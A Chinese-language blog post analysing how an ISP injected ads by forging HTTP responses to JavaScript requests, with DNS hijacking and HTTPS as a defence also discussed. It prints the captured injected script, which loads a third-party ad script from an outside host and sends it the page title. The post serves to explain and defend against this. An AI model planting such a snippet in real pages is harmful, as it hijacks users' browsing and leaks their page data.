- Created:
- Updated:
- Fairycat
网络运营商广告劫持之js虚假数据包:http劫持
当浏览器右下角弹出小广告的时候,不同的人都有不同的反应。很多人不以为然,认为这无所谓。有的人认为这是网站本身带有的广告,确实部分网站会带有这种广告,但是这种广告并不全是网站本身带有的,可能是网络运营商注入的广告。
对广告抱着无所谓的态度,或者认为这是网站本身带有广告的、不可避免的,这些人明显占大多数,这才让运营商注入广告的行为一直很猖狂。如果你在意这些广告,影响了自己,可以了解这是如何实现的。
本文不会提及所有的广告注入的方法,只解释虚假js。稍微解释DNS劫持内容。
DNS劫持
既然是DNS,那就是域名到IP的过程被干涉了,拿到错误的IP,错误的网页内容,展示的内容由劫持者决定。只是为了插入广告,就要展示原本正常的网页,通常的做法是,虚假网页中使用框架,正常网页在框架中显示出来,然后在框架外可以随意添加任何代码,也就是广告代码了。
DNS劫持的解决办法,基本就是不用运营商的DNS,可以自己指定自己信任的DNS服务器。
目前DNS劫持已经不常见了。曾出现过因为DNS劫持被起诉的案例,还有DNS服务器被攻击的案例。相关部门对DNS把关比以前好多了。而且,最近网民对DNS劫持的防备比较多了。至少这两年我看到的广告插入都不是DNS劫持的。
虚假js数据包(http劫持)
既然网民增强的对DNS劫持的防备,广告注入也就换了个套路,从js请求下手。
我自己经历过的,通过到营业厅讨说法、到工信部投诉等过程,历时一个月才让运营商取消了这个广告插入。最后还找个借口说“宽带被外地人攻击了”。
分析广告注入的过程(原先的数据被清理掉了,图片是以前上传过的,简单处理一下水印。内容相关域名等信息就不做处理了)
先说明,在别的网络进行相同的请求时,没有以下现象。基本可以排除网站服务端的问题。且后边有相关的信息可以证明非服务端的问题。
浏览器发起了一次获取js的请求:No.34
接收了返回的数据包:No.39
图片看起来困难,手打No.39的js内容。正常域名用xxx.xxx.com代替。广告域名就算了。
document.write("<script language='javascript' src='http://xxx.xxx.com/js/respond.min.js?_vv=20080808'></script>");
if(top.location==self.location){document.write("<script lanuage='javascript' src='http://gg.jtertp.com:7777/rs/rs.php?src=p0005&t="+encodeURIComponent(document.title)+"&ci=2095194708'></script> ");}
这个过程:在浏览器发起一个respond.min.js文件的请求,返回的虚假内容,利用document.write重新载入一次respond.min.js,为了防止浏览器缓存,加了一个参数_vv=20080808。同时,还是用document.write写入了广告js,由rs.php生成。
这个伪造的数据包从哪里来的。前面也说了,使用别的网络没有这种现象,这就是在服务端到客户端之间的网络进行的。
第二个例子是利用302跳转,结果是一样的。
浏览器发起获取js的请求:No.31
返回的数据包:No.32
返回的内容是302跳转到某个链接,该链接得到的还是js内容,与前边的例子同理,利用document.write重新加载一次js文件同时加载广告js文件。
值得注意的是,No.35,当时没有截图,文件也删了。其实No.35返回的是正常的内容,只是,因为No.32的原因,比正常的包先到达,导致了正常的包被判断为失效。这也就证明了不是服务端的问题了。在请求发出去的时候,这个请求没有被拦截,就有这种结果。
如何处理?
- 要防止这个类广告,可直接屏蔽广告域名。但这是最下的做法,因为广告js可能发在某个公共js库,把域名屏蔽了,很多网站会不正常。而且,广告的域名可能短时间内更换。作为网民,天天查广告域名显然不合理。
- 第三方安全软件。使用xxx电脑管家之类的,可以通过大量用户提交的广告域名来屏蔽广告。其实和手动屏蔽域名一样,不过不需要网民自己手动查域名。电脑管家还有别的手段我就不分析了,也不了解。本人不用电脑管家。
- 修改浏览器User Agent。这类广告都先判断浏览器的类型。通常都是针对Windows浏览器的。
- 找运营商协商。到相关部门投诉。
- 使用https
找运营商有时候并不容易。运营商的客服,一问三不知,她们通常先说是网站的问题,然后是电脑病毒,然后让你重启路由,然后没辙了。不能怪她们,只是客服,解决不了这些的。然而,运营商的规定,用户无法与技术员直接沟通,客服又不懂,能做的只有上报问题。
关于自己的电脑是否含有木马病毒,这个完全可以重新安装洁净的系统然后再进行测试。如果怀疑新装的系统,可以使用Linux来试一试,手头有Apple也可以试试Max OS。在使用非Windows测试的时候,记住要把浏览器信息改为Windows,否则广告不会出现。注入广告的人会考虑到避免Linux,会穿帮的。这就是为什么修改浏览器User Agent可以避免广告注入的原因。
可笑的是,我在市里最大的营业厅也就是当市总营业厅理论的时候,那里一个女服务员一直在跟我狡辩,运营商只提供线路,没办法修改数据的。我注意了她的牌子,还是店长。
没有加密的http,用户访问的内容,运营商都可以看得到,修改就是小意思。这就体现了https的好处了。
使用https,这个方法的决定权就不是网站的浏览者了,而是在服务端开启https。开启https这个不难实现,然而在目前,缺点还是有的。
证书的问题。申请证书需要费用,一般的站点使用不划算。当然现在已经有免费的证书可以使用了,但作为一个需要推广的网站,站长要考虑到,免费的证书可能发生的状况。如果用户打开网站,提示证书不可信之类的,对网站的影响还是很大的。其中的利与弊,作为站长自己抉择。本站使用的免费证书,目前没什么问题。而且,我不需要大力推广这个站,没必要担心这个问题。免费的证书也是渐渐稳定,建议能用的就用上吧。
访问速度的问题。https最开始会多出不少请求,访问速度是会降低。如今网络提升了,服务器的性能也是比以前好了,这个问题不用太在意。